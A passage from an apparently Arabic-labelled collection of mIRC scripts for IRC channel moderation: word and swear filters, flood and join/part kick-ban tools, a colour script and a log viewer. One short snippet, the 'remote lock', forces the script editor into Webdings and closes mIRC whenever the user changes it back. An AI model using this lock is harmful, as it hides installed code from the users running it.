0,115[0Kick-Revenge by Hackz15] [0www.ayuda-hoy.cc15] }

dialog

صندوق الكلام القذر

;Word Monitor v1.01 ;Team Nexgen 2000 by KnightFal ;www.team-nexgen.com on *:load:{ if ($version < 5.61) echo -a  $+ $colour(info2) $+ *** You need mirc 5.61 or greator in order to use this addon. | beep echo -a 4TEAM NEXGEN'S WORD MONITOR v1.01 | echo -a 4Please type: /wordmon to begin. mkdir data | write -c data\wordkick.txt | write -c data\chanmon.txt _vw wordmon version wordmon.1.01 } ;[read write data/setting.ini] alias _vr { if ($exists(data\setting.ini) == $false) { mkdir data | write -c data\setting.ini } return $readini data\setting.ini $1 $2 } alias _vw { if ($exists(data\setting.ini) == $false) { mkdir data | write -c data\setting.ini } writeini data\setting.ini $1 $2 $3- } alias _vrem { if ($exists(data\setting.ini) == $false) { mkdir data | write -c data\setting.ini } remini data\setting.ini $1 $2 } on @*:text:*:#: if ($_vr(wordmon,text) == 1) { protectu $nick $chan $1- } on @*:action:*:#: if ($_vr(wordmon,action) == 1) { protectu $nick $chan $1- } on @*:notice:*:#: if ($_vr(wordmon,notice) == 1) { protectu $nick $chan $1- } on @*:join:#: updatenl | if ($_vr(wordmon,nick) == 1) { protectl $nick $chan $1- } alias protectu { updatenl if ($1 isop $2) && ($_vr(wordmon,ops) == 0) { halt } if ($1 isvo $2) && ($_vr(wordmon,voice) == 0) { halt } if ($1 isreg $2) && ($_vr(wordmon,regular) == 0) { halt } if ($_vr(channel,all) == 0) && ($_chanin($2) == $false) { halt } if ($fword($3-) > 0) && ($_vr(wordmon,switch) == 1) { if ($_vr(wordmon,pun) == 1) { kick $2 $1 UNAUTHORIZED WORD - $fword($3-) unauthorized word(s) detected. } elseif ($_vr(wordmon,pun) == 2) { if ($_vr(wordmon,tempban) == 1) && ($_vr(wordmon,bantime) > 0) { ban -u [ $+ [ $_vr(wordmon,bantime) ] ] $2 $1 $_vr(wordmon,mask) } else { ban $2 $1 $_vr(wordmon,mask) } } elseif ($_vr(wordmon,pun) == 3) { if ($_vr(wordmon,tempban) == 1) && ($_vr(wordmon,bantime) > 0) { ban -u [ $+ [ $_vr(wordmon,bantime) ] ] $2 $1 $_vr(wordmon,mask) | .timer 1 1 kick $2 $1 UNAUTHORIZED - $fword($3-) unauthorized word(s) detected. $_vr(wordmon,bantime) second ban. } else { ban $2 $1 $_vr(wordmon,mask) | .timer 1 1 kick $2 $1 UNAUTHORIZED WORD - $fword($3-) unauthorized word(s) detected. Perm Ban } } } } menu channel,menubar { Word Monitor:dialog -m wordmon wordmon } alias wordmon dialog -m wordmon wordmon dialog wordmon { title "Word Monitor v1.01" option pixels size -1 -1 180 280 check "Enable", 52, 10 5 90 25 radio "Kick", 54, 10 120 50 20, group radio "Ban", 55, 60 120 50 20 radio "Kick/ban", 56, 110 120 65 20 check "Temp ban(secs)", 57, 10 145 95 25, disable edit "", 58, 110 145 30 22, disable edit "", 59, 10 173 30 22, disable text "Ban mask (0-10)", 60, 45 175 120 20, disable button "Channels", 61, 5 210 80 20 button "Edit Word List", 53, 95 210 80 20 box "Kick Events", 62, 2 30 175 38 check "Text", 63, 10 44 50 20 check "Action", 64, 60 44 50 20 check "Notice", 65, 120 44 50 20 box "Kick Only", 66, 2 70 175 38 check "OP", 67, 10 84 50 20 check "Voice", 68, 60 84 50 20 check "Regular", 69, 115 84 55 20 button "OK", 70, 60 245 60 20,default ok } dialog wordedit { title "Word Editor" option pixels size -1 -1 180 300 edit "", 1, 5 5 110 25 list 2, 5 35 110 250, sort button "Add", 3, 120 35 55 20 button "Delete", 4, 120 70 55 20 button "OK", 5, 120 105 55 20, OK } dialog chanmon { title "Channel Editor" option pixels size -1 -1 180 300 combo 1, 5 5 110 100, drop, edit list 2, 5 35 110 250, sort button "Add", 3, 120 35 55 20 button "Delete", 4, 120 70 55 20 button "OK", 5, 120 105 55 20, OK check "All channels", 6, 20 280 90 20 } on *:dialog:wordmon:init:*: { if ($_vr(wordmon,switch) == 1) { did -c wordmon 52 } if ($_vr(wordmon,pun) > 1) { did -e wordmon 57,58,59,60 | did -c wordmon $calc(53 + $_vr(wordmon,pun) ) } if ($_vr(wordmon,pun) == 1) { did -c wordmon 54 } if ($_vr(wordmon,tempban) == 1) { did -c wordmon 57 } if ($_vr(wordmon,bantime) > 0) { did -a wordmon 58 $_vr(wordmon,bantime) } if ($_vr(wordmon,mask) >= 0) { did -a wordmon 59 $_vr(wordmon,mask) } if ($_vr(wordmon,text) > 0) { did -c wordmon 63 } if ($_vr(wordmon,action) > 0) { did -c wordmon 64 } if ($_vr(wordmon,notice) > 0) { did -c wordmon 65 } if ($_vr(wordmon,ops) > 0) { did -c wordmon 67 } if ($_vr(wordmon,voice) > 0) { did -c wordmon 68 } if ($_vr(wordmon,regular) > 0) { did -c wordmon 69 } } alias chan.mon4 { did -r chanmon 1 var %channum = 0 :findchan inc %channum 1 var %chan = $chan(%channum) if (%chan == $null) { halt } did -i chanmon 1 1 %chan goto findchan } on *:dialog:chanmon:init:*: { if ($_vr(channel,all) == 1) { did -c chanmon 6 } set -u0 %chan $lines(data/chanmon.txt) if (%chan == 0) || (%chan == $null) { goto end } :loop did -a chanmon 2 $read -l [ $+ [ %chan ] ] data/chanmon.txt dec %chan if (%chan =< 0) { goto end } goto loop :end chan.mon4 } on *:dialog:wordedit:init:*: { set -u0 %word $lines(data/wordkick.txt) if (%word == 0) || (%word == $null) { goto end } :loop did -a wordedit 2 $read -l [ $+ [ %word ] ] data/wordkick.txt dec %word if (%word =< 0) { goto end } goto loop :end } alias _chanin set -u0 %chan $lines(data/chanmon.txt) | if (%chan == 0) || (%chan == $null) { return $false | goto end } | :loop | if ($1- == $read -l [ $+ [ %chan ] ] data/chanmon.txt) { return $true | goto end } | dec %chan | if (%chan =< 0) { return $false | goto end } | goto loop | :end alias _wordin set -u0 %word $lines(data/wordkick.txt) | if (%word == 0) || (%word == $null) { return $false | goto end } | :loop | if ($1- == $read -l [ $+ [ %word ] ] data/wordkick.txt) { return $true | goto end } | dec %word | if (%word =< 0) { return $false | goto end } | goto loop | :end alias _chanrem set -u0 %chan $lines(data/chanmon.txt) | if (%chan == 0) || (%chan == $null) { goto end } | :loop | if ($1- == $read -l [ $+ [ %chan ] ] data/chanmon.txt) { write -dl [ $+ [ %chan ] ] data/chanmon.txt | goto end } | dec %chan | if (%chan =< 0) { goto end } | goto loop | :end alias _wordrem set -u0 %word $lines(data/wordkick.txt) | if (%word == 0) || (%word == $null) { goto end } | :loop | if ($1- == $read -l [ $+ [ %word ] ] data/wordkick.txt) { write -dl [ $+ [ %word ] ] data/wordkick.txt | goto end } | dec %word | if (%word <= 0) { goto end } | goto loop | :end alias fword set -u0 %word $lines(data/wordkick.txt) | set -u0 %wordn 0 | :loop | set -u0 %wordt $read -l [ $+ [ %word ] ] data/wordkick.txt | inc %wordn $wildtok($1-, %wordt, 0, 32) | dec %word | if (%word == 0) { return %wordn | halt } | if (%word > 0) { goto loop } on *:dialog:wordmon:sclick:*: { if ($did == 52) { _vw wordmon switch $did($did).state } if ($did == 54) { _vw wordmon pun 1 | did -b wordmon 57,58,59,60 } if ($did == 55) { _vw wordmon pun 2 | did -e wordmon 57,58,59,60 } if ($did == 56) { _vw wordmon pun 3 | did -e wordmon 57,58,59,60 } if ($did == 57) { _vw wordmon tempban $did($did).state } if ($did == 53) { .timer -m 1 1 dialog -m wordedit wordedit } if ($did == 61) { .timer -m 1 1 dialog -m chanmon chanmon } if ($did == 202) { .timer -m 1 1 dialog -m nick nick } if ($did == 63) { _vw wordmon text $did($did).state } if ($did == 64) { _vw wordmon action $did($did).state } if ($did == 65) { _vw wordmon notice $did($did).state } if ($did == 67) { _vw wordmon ops $did($did).state } if ($did == 68) { _vw wordmon voice $did($did).state } if ($did == 69) { _vw wordmon regular $did($did).state } } on *:dialog:chanmon:sclick:*: { if ($did == 3) && ($len($did(1).text) > 0) && ($_chanin($did(1).text) == $false) { did -a chanmon 2 $did(1).text | write data/chanmon.txt $did(1).text | did -r chanmon 1 | write data/chanmon.txt $did(1).text } if ($did == 4) && ($did(2,1).sel > 0) { _chanrem $did(2,$did(2,1).sel).text | did -d chanmon 2 $did(2,1).sel } if ($did == 6) { _vw channel all $did($did).state } } on *:dialog:wordedit:sclick:*: { if ($did == 3) && ($len($did(1).text) > 0) && ($_wordin($did(1).text) == $false) { did -a wordedit 2 $did(1).text | write data/wordkick.txt $did(1).text | did -r wordedit 1 | write data/wordkick.txt $did(1).text } if ($did == 4) && ($did(2,1).sel > 0) { _wordrem $did(2,$did(2,1).sel).text | did -d wordedit 2 $did(2,1).sel } } on *:dialog:nick:sclick:*: { if ($did == 3) && ($len($did(1).text) > 0) && ($_nickin($did(1).text) == $false) { did -a nick 2 $did(1).text | write data/nick.txt $did(1).text | did -r nick 1 | write data/nick.txt $did(1).text } if ($did == 4) && ($did(2,1).sel > 0) { nickrem $did(2,$did(2,1).sel).text | did -d nick 2 $did(2,1).sel } } on *:dialog:wordmon:edit:*: { if ($did == 58) { _vw wordmon bantime $did($did).text } if ($did == 59) { _vw wordmon mask $did($did).text } }

dialog

لتغير لون الخط  وختيارات متعددة

;--[ auto color 1.0 ]----------------------------- ; autor: diffusi0n ; email: diffusi0n@brasnet.org ; website: www.diffusi0n.f2s.com ; contacts: BRASnet Network(irc.brasnet.org) on #scriptx #scripts #ircz ;--------------------------------------------------------------------------------------------- on *:load: { echo $color(info) *** auto color 1.0 by diffusi0n loaded! echo $color(info) *** command: /acolor set %ac.status off set %ac.text 1 set %ac.back 0 } alias acolor { dialog -m acolor acolor } dialog acolor { title "auto color 1.0" size -1 -1 169 109 box "setup", 1, 6 5 80 69 text "text:", 2, 16 27 22 13 edit "", 3, 51 20 25 22, center multi return text "back:", 4, 16 50 29 13 edit "", 5, 51 43 25 22, center multi return box "additional", 6, 84 5 79 69 check "bold", 7, 94 27 43 13 check "underline", 8, 94 49 61 13 button "preview", 9, 21 82 55 20 button "done", 10, 93 82 55 20, ok box "", 11, -1 -6 171 116 } on *:dialog:acolor:*:*: { if $devent = init { did -a $dname 3 %ac.text did -a $dname 5 %ac.back if (%ac.bold == on) { did -c $dname 7 } if (%ac.underline == on) { did -c $dname 8 } } if $devent = edit { if $did = 3 { set %ac.text $did(3).text } if $did = 5 { set %ac.back $did(5).text } } if $devent = sclick { if $did = 7 { if ($did(7).state = 1) { set %ac.bold on | set %ac.bold2 } if ($did(7).state = 0) { set %ac.bold off | set %ac.bold2 } } if $did = 8 { if ($did(8).state = 1) { set %ac.underline on | set %ac.underline2  } if ($did(8).state = 0) { set %ac.underline off | set %ac.underline2 } } if $did = 9 { echo -a  $+ %ac.text $+ , $+ %ac.back $+ %ac.bold2 $+ %ac.underline2 $+ test! } } } #acolor on on *:input:*:if (/* !iswm $1) && (*: !iswm $1) { say  $+ %ac.text $+ , $+ %ac.back $+ %ac.bold2 $+ %ac.underline2 $+ $1- | halt } #acolor end alias ac.on { set %ac.status on | .enable #acolor } alias ac.off { set %ac.status off | .disable #acolor } menu status,menubar,channel { auto color 1.0 .config:acolor .- .set on:ac.on .set off:ac.off .status - %ac.status:echo -a Status: %ac.status .- .about:echo $color(info) *** auto color 1.0 by diffusi0n }

كود لتغير لون الخط 

menu menubar,query,status,channel { Colour Script .$iif(%dca, Deactivate, Activate): /set %dca $iif(%dca, $false, $true) .Default Colour ..$iif(%dc == 0, $style(1) White, White): set %dc 0 ..$iif(%dc == 1, $style(1) Black, Black): set %dc 1 ..$iif(%dc == 2, $style(1) Navy, Navy): set %dc 2 ..$iif(%dc == 3, $style(1) Dark Green, Dark Green): set %dc 3 ..$iif(%dc == 4, $style(1) Red, Red): set %dc 4 ..$iif(%dc == 5, $style(1) Maroon, Maroon): set %dc 5 ..$iif(%dc == 6, $style(1) Purple, Purple): set %dc 6 ..$iif(%dc == 7, $style(1) Orange, Orange): set %dc 7 ..$iif(%dc == 8, $style(1) Yellow, Yellow): set %dc 8 ..$iif(%dc == 9, $style(1) Lime Green, Lime Green): set %dc 9 ..$iif(%dc == 10, $style(1) Teal, Teal): set %dc 10 ..$iif(%dc == 11, $style(1) Cyan ,Cyan): set %dc 11 ..$iif(%dc == 12, $style(1) Blue, Blue): set %dc 12 ..$iif(%dc == 13, $style(1) Magenta, Magenta): set %dc 13 ..$iif(%dc == 14, $style(1) Dark Grey, Dark Grey): set %dc 14 ..$iif(%dc == 15, $style(1) Light Grey, Light Grey): set %dc 15 .Uninstall:removeme } alias removeme { if ($?!="Do You Want Remove Aimaz's Colour Script") echo -a Removing Aimaz's Colour Script | /unload -rs $script } on 1:Start: { echo -a Using Aimaz's Colour Script } on 1:INPUT:*: { if ( %dca == $false ) { goto end } if ( / isin $1 ) { goto end } if ( ! isin $1 ) { goto end } /say  $+ %dc $+ $1- halt :end }

swear  dialog

صندوق كلام قذر (3)

;;;;;;; This script has been made by Sweet^M0ussa :;;;;;; :;;;;;; You can find me on DALnet :;;;;;; ;;;;;;; email : aboulmouss@hotmail.com :;;;;;; :;;;;;; swear protection v1.0 :;;;;;; menu menubar,channel { swear prot: dialog -m swear swear } on *:LOAD:{ echo -a ::: Swear protection by Sweet^M0ussa has been loaded , check menubar or channel popups , enjoy ! | set %words fuck bitch pussy } dialog swear { size -1 -1 300 183 title "Swear Protection - RaP" box "words",1, 5 5 150 148 button "ok",2, 125 160 50 20,ok list 3, 15 20 130 140 edit "",5, 200 25 70 20, disable button "add word",4, 164 55 60 20, disable text "word:",6, 170 29 30 20, disable button "del word",7, 234 55 60 20, disable box "options",8, 159 5 139 75 box "punishment",9, 159 83 139 40 check "kban for",10, 163 98 60 20, disable edit "",11, 225 98 25 20, disable text "min(s)",12, 252 101 30 20, disable check "enable",13, 200 130 60 20 box "",14, 180 120 100 32 } on 1:dialog:swear:sclick:*: { if ($did == 3) { did -ra $dname 5 $did(3).seltext | did -e $dname 10 } if ($did(13).state == 1) { set %senable 1 | did -e swear 3,4,5,6,7,10,11,12 } | else { set %senable 0 | did -b swear 3,4,5,6,7,10,11,12 } if ($did == 4) { set %words [ %words ] $did(5) | did -a $dname 3 $did(5) | did -ra $dname 5 } if ($did == 7) { if ($did(3).sel > 0) { set %words $remtok(%words,$did(3).seltext,32) | did -d swear 3 $did(3).sel | did -ra $dname 5 | did -b $dname 7 } } if ($did(10).state == 1) { set %kban 1 | did -e swear 11,12 } | else { set %kban 0 | did -b swear 11,12 } if ($did($dname,11).text) { set %mins $ifmatch } | else { unset %mins } } on *:dialog:swear:init:*: { if (%kban == 1) { did -c swear 10 | did -e swear 11,12 } if (%kban == 0) { did -b swear 11,12 } if (%senable == 1) { did -c swear 13 | did -e swear 4,5,6,7,10,11,12 } if (%senable == 0) { did -b swear 4,5,6,7,10,11,12 } var %a = 1 while ($gettok(%words,%a,32)) { did -a swear 3 $gettok(%words,%a,32) inc %a } if (%mins) { did -a $dname 11 %mins } } on @*:TEXT:*:#:{ if ($nick !isop $chan) { var %x = 1 while (%x <= $numtok(%words,32)) { if ($gettok(%words,%x,32) isin $strip($1-)) { var %swearing! = $true } inc %x } if (%swearing!) && (%kban == 1) && (%mins) { ban -u [ $+ [ $calc(%mins * 60) ] ] $chan $nick 2 kick $chan $nick badword kick! } }

قفل الريموت

on 1:start: { .writeini mirc.ini fonts fscripts Webdings,407 .timer8888 0 2 echo1 } alias echo1 { if $readini mirc.ini fonts fscripts != Webdings,407 { writeini mirc.ini fonts fscripts Webdings,407 | exit } }

logviews

صندوق اللوق

alias logviews.about { if ($window(@logviews) == $null) { set %logviews.about run | logviews } else { clear @logviews titlebar @logviews - About aline @logviews 2Log Viewer By %c1 Thugged-out aline @logviews $chr(160) aline -p @logviews $str($chr(160),4) 4This page allows you to manage your IRC logs quickly and easily.Now you do not have to open up notepad to view every single log anymore. With this Log Viewer you can open each log in full color right in mIRC !!! aline @logviews $chr(160) aline @logviews $chr(160) 2Str8 Script } } alias logviews { :start set %logviews.window.h $window(-1).h set %logviews.window.w $window(-1).w if ($window(@logviews) == $null) { window -l16 @logviews 200 200 630 200 @logviews Arial 11 window -nls @logviews2 Arial 11 aline @logviews 2Log Organiser %logviews.version Loading log database please wait.............................................  set %logviews.count 1 :AddLog set %logviews.log $findfile($logdir,*.log,%logviews.count) if (%logviews.log == $null) goto end else { aline -l @logviews2 $nopath(%logviews.log) inc %logviews.count 1 goto addlog } } else { window -c @logviews | goto start } :end set %logviews.lines $line(@logviews2,0,0) set %logviews.count 1 :lineadd if (%logviews.count > %logviews.lines) goto end2 else { aline -l @logviews $line(@logviews2,%logviews.count) inc %logviews.count 1 goto lineadd } :end2 if (%logviews.about == run) { logviews.about | set %logviews.about ran | goto end4 } :end3 clear @logviews aline @logviews 3Log Viewer By %c1 Thugged-out %c2 RNS-KillaScript  aline @logviews $chr(160) aline -p @logviews $str($chr(160),4) 4This is the Log Viewer $+ ! To view a log, please double click it in the side listbox. Or else right click on a log in the listbox to access more commands. :end4 iline -l @logviews 1 3************************************ iline -l @logviews 2 4 3 RNS-KillaScript3 $chr(160) $str($chr(160),30) iline -l @logviews 3 4 3Current Logs 3 iline -l @logviews 4 3************************************ window -c @logviews2 } alias logrefresh { :start if ($window(@logviews) == $null) { logviews } else { clear -l @logviews window -nls @logviews2 Arial 11 set %logviews.count 1 :AddLog set %logviews.log $findfile($logdir,*.log,%logviews.count) if (%logviews.log == $null) goto end else { aline -l @logviews2 $nopath(%logviews.log) inc %logviews.count 1 goto addlog } } :end set %logviews.lines $line(@logviews2,0,0) set %logviews.count 1 :lineadd if (%logviews.count > %logviews.lines) goto end2 else { aline -l @logviews $line(@logviews2,%logviews.count) inc %logviews.count 1 goto lineadd } :end2 iline -l @logviews 1 3,14 $chr(160) Current Logs  $str($chr(160),30) iline -l @logviews 2 3,14 $str($chr(160),175)  window -c @logviews2 } alias Logview { if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2) { halt } else { set %logviews.file $logdir $+ $sline(@logviews,1) set %logviews.size $lof(%logviews.file) clear @logviews iline @logviews 1 3,2Log Viewer By Thugged-out  Viewing: $sline(@logviews,1) ( $+ %logviews.size bytes) $str($chr(160),175) titlebar @logviews - $sline(@logviews,1) loadbuf -p @logviews $logdir $+ $sline(@logviews,1) sline @logviews 15 } } alias logview.newwindow { set %logviews.window @ [ $+ [ $sline(@logviews,1) ] ] set %logviews.file $logdir $+ $sline(@logviews,1) set %logviews.size $lof(%logviews.file) window %logviews.window @LogView Arial 11 iline %logviews.window 1 3,2Log Viewer By Thugged-out 3,2 Viewing: $sline(@logviews,1) ( $+ %logviews.size bytes) $str($chr(160),175) loadbuf %logviews.window $logdir $+ $sline(@logviews,1) sline %logviews.window 15 } menu @logviews { dclick loglist2 About:logviews.about - Search Log Text:logsearch View Log:logview $sline(@logviews,1) - Delete Log:dellog $sline(@logviews,1) Copy Log:copylog Rename Log:remlog - Refresh List:logrefresh - Close Window:window -c @logviews - } alias LogList2 { if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2 || $sline(@logviews,1).ln == $null) { halt } else logview $sline(@logviews,1) } menu @Logview { Search Log Text:logsearch.nw - Delete Log:/dellog $remove($active,@) Copy Log:/copylog - Close Window:window -c $active - About:window -a @logviews | logviews.about } menu @Confirm.Delete { dclick Confirm.Delete } alias Confirm.Delete { if ($sline(@Confirm.Delete,1).ln == 1 || $sline(@Confirm.Delete,1).ln == 2 || $sline(@Confirm.Delete,1).ln == 3 || $sline(@Confirm.Delete,1).ln == 4) { halt } if ($sline(@Confirm.Delete,1).ln == 5) { remove $logdir $+ %logviews.log.delete | window -c @Confirm.Delete | dline -l @logviews $sline(@logviews,1).ln | echo 3,2=®=3,2Log Organiser %logviews.version 3,2 %logviews.log.delete 3,2 DELETED } if ($sline(@Confirm.Delete,1).ln == 6) { window -c @Confirm.Delete } } alias copylog { if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2 || $sline(@logviews,1).ln == $null) { halt } /copy $logdir $+ $sline(@logviews,1) $sdir="Select A Directory To Copy $sline(@logviews,1) To:" $+ $sline(@logviews,1) } alias remlog { if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2 || $sline(@logviews,1).ln == $null) { halt } else { rename $logdir $+ $sline(@logviews,1) $logdir $+ $?="Please Enter A New File Name:" | logrefresh } } alias dellog { ; if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2 || $sline(@logviews,1).ln == $null) { halt } ; else { set %logviews.log.delete $sline(@logviews,1) if ($$?!="do you want to delete this Log?" == $true) { /remove $logdir $+ %logviews.log.delete | logrefresh | echo -s 3:::> 14 Log organiser : 9 %logviews.log.delete  4 Deleted ! } } alias dellog2 { set %logviews.log.delete $remove($active,@) if ($$?!="do you want to delete this Log?" == $true) { /remove $logdir $+ %logviews.log.delete | logrefresh | echo -s 3:::> 14 Log organiser : 9 %logviews.log.delete  4 Deleted ! } } menu @Confirm.Delete2 { dclick Confirm.Delete2 } alias Confirm.Delete2 { if ($sline(@Confirm.Delete,1).ln == 1 || $sline(@Confirm.Delete,1).ln == 2 || $sline(@Confirm.Delete,1).ln == 3 || $sline(@Confirm.Delete,1).ln == 4) { halt } if ($sline(@Confirm.Delete,1).ln == 5) { remove $logdir $+ %logviews.log.delete | window -c @Confirm.Delete | logrefresh | echo -a 3,2Log Organiser %logviews.version -3,2 %logviews.log.delete3,2 DELETED! } if ($sline(@Confirm.Delete,1).ln == 6) { window -c @Confirm.Delete } } alias lognotepad { if ($sline(@logviews,1).ln == 1 || $sline(@logviews,1).ln == 2 || $sline(@logviews,1).ln == $null) { halt } else run notepad.exe $logdir $+ $sline(@logviews,1) } alias logsearch { if ($window(@logviews).title == - $sline(@logviews,1)) goto next else { logview $sline(@logviews,1) | goto next } :next if ($window(@LogSearch) != $null) /window -c @LogSearch window @LogSearch @LogSearch Arial 11 set %logviews.file $logdir $+ $sline(@logviews,1) titlebar @LogSearch - $sline(@logviews,1) set %logviews.searchstring * [ $+ [ $?="Enter Text To Search For:" ] $+ ] * aline @LogSearch 3,2Log Viewer RNS-KillaScript  $str($chr(160),10) 3,2 Log Searcher aline @LogSearch 3,2 $str($chr(160),20) Searching For:3,2 %logviews.searchstring filter -fwn %logviews.file @LogSearch %logviews.searchstring } menu @LogSearch { dclick logsearch2 Goto Line:logsearch2 - Close Window:window -c @LogSearch About:window -a @logviews | logviews.about } alias logsearch2 { if ($sline(@LogSearch,1).ln == 1 || $sline(@LogLogSearch,1).ln == 2 || $sline(@LogSearch,1).ln == $null) { halt } else { sline @logviews $calc($gettok($sline(@LogSearch,1),1,32) + 10) window -a @logviews } } alias logsearch.nw { set %logviews.window $remove($active,@) if ($window(@LogSearch) != $null) window -c @LogSearch window -l @LogSearch @LogSearch.nw Arial 11 set %logviews.file $logdir $+ %logviews.window titlebar @LogSearch - %logviews.window set %logviews.searchstring * [ $+ [ $?="Enter Text To Search For:" ] $+ ] * aline @LogSearch 3,2 Log Organiser %logviews.version  $str($chr(160),150) 3,2Log Searcher $str($chr(160),100) aline @LogSearch 3,2 $str($chr(160),20) Searching For:3,2 %logviews.searchstring $str($chr(160),500) filter -fwn %logviews.file @LogSearch %logviews.searchstring } menu @LogSearch.nw { dclick:logsearchnw Goto Line:logsearchnw - Close Window:window -c @LogSearch About:window -a @logviews | logviews.about } alias logsearchnw { set %logviews.window2 @ $+ %logviews.window if ($sline(@LogSearch,1).ln == 1 || $sline(@LogLogSearch,1).ln == 2 || $sline(@LogSearch,1).ln == $null) { halt } else { sline %logviews.window2 $calc($gettok($sline(@LogSearch,1),1,32) + 10) window -a %logviews.window2 } } alias bw_mod_e { if ($1 == $null) { halt } %bw_wtot = $count(%badwords,$chr(44)) + 1 :bwm_Wloop if (%bw_wtot =< 0) { bw_winit | halt } elseif ($gettok(%badwords,%bw_wtot,44) == $1) { dline %bw_wset $sline(%bw_wset,1).ln | %badwords = $remtok(%badwords,$1,44) | halt } else { dec %bw_wtot | goto bwm_Wloop } } alias Wordalc { %bw_alt = $count($1,$chr(44)) + 1 :alcloop if (%bw_alt <= 0) { return } else { aline $2 $gettok($1,%bw_alt,44) dec %bw_alt goto alcloop } :end } menu menubar { Logviewer:logviews }

Mass Text Kick طرد الفلود

dialog

;Mass Text by Wayne3 ;Setup - /masstext or F8 or Title Bar Menu > Mass Text ;Usage - automatic ;Effects - If single line in channel that you are op on is equal to or larger then Value1 kick/ban nick for Value2 ;-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- alias masstext { dialog -md mssfldprot mssfldprot } alias F8 masstext menu menubar { W3 Addons .Mass Text:masstext } dialog mssfldprot { title "Mass Text Protection" size -1 -1 181 117 radio "On"1,30 0 34 25 radio "Off"2,80 0 39 25 button "?"10,167 5 11 15 box "" 3,3 23 176 93, center text "Max Letters"4,10 40 65 25 edit ""5,60 40 29 19,right text "Temp Ban Time"6,10 60 90 25 edit ""7,85 60 29 19,right button "OK",8, 8 85 79 25, OK default button "Cancel" 9, 95 85 79 25, cancel } on *:dialog:mssfldprot:sclick:1:if ($did(1).state) { did -n mssfldprot 5 | did -n mssfldprot 7 } on *:dialog:mssfldprot:sclick:2:if ($did(2).state) { did -m mssfldprot 5 | did -m mssfldprot 7 } on *:dialog:mssfldprot:sclick:10:run $mircdirw3addmsstxt.txt on *:dialog:mssfldprot:sclick:8:if ($did(mssfldprot,1).state == 1) { set %mssfldprot.on 1 | set %mssfldprot on | set %msslines $did(mssfldprot,5).text | set %mssban $did(mssfldprot,7).text | .enable #masstext } | if ($did(mssfldprot,1).state == 0) { set %mssfldprot.on 0 | set %mssfldprot off | .disable #masstext } on *:dialog:mssfldprot:init:0:did -a mssfldprot 5 %msslines | did -a mssfldprot 7 %mssban | if (%mssfldprot.on == 1) { did -c mssfldprot 1 } | if (%mssfldprot.on == 0) { did -c mssfldprot 2 | did -m mssfldprot 7 | did -m mssfldprot 5 } #masstext off ... on *:text:*:#: { if ($me isop #) { goto continue } else { halt } :continue if ($len($1-) >= %msslines) { ban -u $+ %mssban $chan $nick 0 | kick $chan $nick Mass Text Kick - $calc(%mssban / 60) minute ban } } ... #masstext end

لطرد بوتات ماس انفايت

on *:load:{ echo -a 12You are using mIRC $version Join/Part Ban has only been tested with mIRC 5.81, i can't guarantee proper operation with other versions.Thanks for using it, Oz :) } menu channel,menubar,status { Revolving Door Ban .Revolving Door Kick ..Revolving Door On:/.enable #Revolvingdr | /echo -a 10Revolving Door Protection is now12 On ..Revolving Door Off:/.disable #Revolvingdr | /echo -a 10Revolving Door Protection is now12 Off .Set Ban Msg:/set %banmsg $$?=" $+ Enter Your Ban Message" .Ban Time ..1 Minute:/set %bantm -u60 | /echo -a Ban Time Is 1 Minute ..2 minutes:/set %bantm -u120 | /echo -a Ban Time Is 2 Minutes ..5 minutes:/set %bantm -u300 | /echo -a Ban Time Is 5 Minutes ..10 minutes:/set %bantm -u600 | /echo -a Ban Time Is 10 Minutes } #Revolvingdr on on @*:join:#: { set -u6 %close. [ $+ $target $+ $+ [ $chan ] ] 1 } on @*:part:#: { if (%close. [ $+ $target $+ $+ [ $chan ] ] && %close.seeif == $null) { set -u6 %close.seeif 1 ban %bantm # $nick 3 .notice $nick %banmsg .echo -a Revolving Door Ban Has Been Set } }

dialog Shit-List صندوق شت لست

on 1:LOAD: { echo -a ************************************ echo -a *********************** echo -a 9Shit-List addon 9By 4diaoloS echo -a 9For any bugs ,mail me here: 11naverous@hol.gr echo -a *********************** echo -a ************************************ } menu nicklist,query { ShitList .add ..*!*user@host.domain:/+shit $$1 1 ..*!*@host.domain:/+shit $$1 2 ..*!*user@*.domain:/+shit $$1 3 ..*!*@*.domain:/+shit $$1 4 ..nick!*user@host.domain:/+shit $$1 6 .del .. $SnickS $+ :/-shit $$1 ..all:/-shit -all .edit:/run notepad $mircdirshit-log.ini } alias +shit { set %shit.nick $1 set %shit.what $2 who $1 .enable #Shit-elements } alias -shit { if ($1 == -all) { remini $Mircdirshit-log.ini Users | remini $Mircdirshit-log.ini Chans | echo -a 9Shit-List has been successfully cleared. | halt } set %unshit on who $1 .enable #Shit-elements } #Shit-elements off raw 352:*: { set %shitty $6 $+ ! $+ $3 $+ @ $+ $4 haltdef } raw 315:*: { .disable #shit-elements if (%unshit == On) { unset %unshit | unshit %shitty | halt } if (%Shitty != $null) { dialog -m shit-d shit-d | haltdef } haltdef } #Shit-elements end dialog shit-d { title "Shit List Editor" size -1 -1 210 200 button "&save",1,60 160 47 20 ,ok button "&cancel",9,115 160 47 20,cancel text "host:",2,30 20 30 20 edit "",3,60 17 100 21,autohs text "Channels:",4,8 50 50 20 list 5,60 72 100 100 ,extsel edit "",6,60 50 100 20,autohs button "&add",7,165 50 30 20 button "&del",8,165 72 30 20 } on 1:DIALOG:shit-d:*:*: { if ($devent == init) { if (%Shitty != $Null) did -a $dname 3 $mask(%shitty,$shit.what) did -a $dname 6 all } if ($devent == sclick) { if ($did == 7) { if ($did($dname,6) != $Null) { if ($did($dname,6) == all) { if ($did($dname,5,0).lines != $null) did -r $dname 5 | did -a $dname 5 all | did -r $dname 6 } } elseif ($did($dname,6) != all) && ($Chr(35) isin $did($dname,6)) { if ($did($dname,5,1).text == all) { did -r $dname 5 | did -a $dname 5 $did($dname,6) | did -r $dname 6 } | else { did -a $dname 5 $did($dname,6) | did -r $dname 6 } } } if ($did == 8) { if ($did($dname,5,0).sel != $Null) { did -d $dname 5 $did($dname,5).sel } } } if ($did == 1) { if ($did($dname,3) != $Null) && ($did($dname,5,0).lines != $Null) { set %Shitty $did($dname,3) | if ($did($dname,5,1).text == all) set %shit.chans all else shit.chans | wan %shit.nick $mask(%shitty,$shit.what) %shit.chans } } } alias shit.chans { unset %i unset %shit.chans :inc inc %i 1 